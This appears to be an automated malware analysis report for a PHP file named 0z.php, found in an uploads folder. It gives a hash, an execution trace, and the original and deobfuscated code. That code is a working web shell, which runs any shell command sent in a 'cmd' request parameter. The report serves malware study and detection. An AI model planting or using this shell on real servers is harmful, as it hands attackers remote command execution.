PHP Malware Analysis

0z.php

md5: 7b7a624e2ddb5e38fff9c3900d71926b

Jump to:

Screenshot


Attributes

Execution


Deobfuscated PHP code

<?php

if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = $_REQUEST['cmd'];
    system($cmd);
    echo "</pre>";
    die;
}

Execution traces

data/traces/7b7a624e2ddb5e38fff9c3900d71926b_trace-1676243679.8931.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:15:05.790898]
1	0	1	0.000188	393464
1	3	0	0.000244	394544	{main}	1		/var/www/html/uploads/0z.php	0	0
1	3	1	0.000261	394544
			0.000288	314200
TRACE END   [2023-02-12 21:15:05.791031]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>